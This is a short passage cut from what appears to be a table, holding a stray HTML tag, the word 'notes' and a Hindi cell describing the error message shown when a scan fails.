</p>
notes |
| यदि स्कैन विफल हुआ तो त्रुटि संदेश |